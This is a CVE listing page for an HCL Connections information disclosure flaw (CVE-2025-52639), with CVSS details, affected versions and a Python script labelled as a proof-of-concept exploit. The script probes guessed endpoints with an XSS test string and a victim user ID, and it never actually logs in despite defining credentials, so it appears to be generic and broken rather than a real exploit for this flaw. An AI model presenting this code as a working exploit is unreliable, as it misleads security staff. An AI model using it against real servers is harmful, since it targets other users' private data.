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CVE-2025-52639 CVSS 3.5 LOW

CVE-2025-52639

Published: 2025-11-18 19:15:49
Last Modified: 2025-11-20 19:03:16

Description

HCL Connections is vulnerable to a sensitive information disclosure vulnerability which could allow a user to obtain sensitive information they are not entitled to, caused by improper rendering of application data.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:connections:8.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:hcltech:connections:8.0:cumulative_release1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:hcltech:connections:8.0:cumulative_release10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:hcltech:connections:8.0:cumulative_release2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:hcltech:connections:8.0:cumulative_release3:*:*:*:*:*:* - VULNERABLE
HCL Connections < 8.0 CR1
HCL Connections < 7.0 CR5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52639 PoC - HCL Connections Information Disclosure # This PoC demonstrates the information disclosure vulnerability # Requires valid low-privilege user credentials import requests import json TARGET_URL = "https://vulnerable-hcl-connections-server.com" USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit_cve_2025_52639(): """ Exploit for CVE-2025-52639: HCL Connections Information Disclosure Attack Vector: Obtain sensitive information via improper data rendering """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/homepage/security/login" login_data = { "username": USERNAME, "password": PASSWORD } # Step 2: Identify vulnerable endpoint # The vulnerability allows accessing other users' data vulnerable_endpoints = [ "/connections/opensocial/gadgets/proxy", "/activities/service/atom/activity", "/profiles/atom/profile", "/dogear/atom/bookmark" ] for endpoint in vulnerable_endpoints: try: # Step 3: Request data with different resource identifiers target_url = f"{TARGET_URL}{endpoint}" params = { "containerID": "<script>alert('XSS')</script>", # Improper rendering "userId": "victim_user_id" # Attempt to access other user's data } response = session.get(target_url, params=params, timeout=10) # Step 4: Check for information disclosure if response.status_code == 200: # Look for sensitive data in response if "email" in response.text or "phone" in response.text: print(f"[+] Potential information disclosure at: {endpoint}") print(f"[+] Response preview: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": print("CVE-2025-52639 PoC - HCL Connections Information Disclosure") print("=" * 60) result = exploit_cve_2025_52639() if result: print("[+] Vulnerability confirmed!") else: print("[-] Vulnerability not found or already patched")

References

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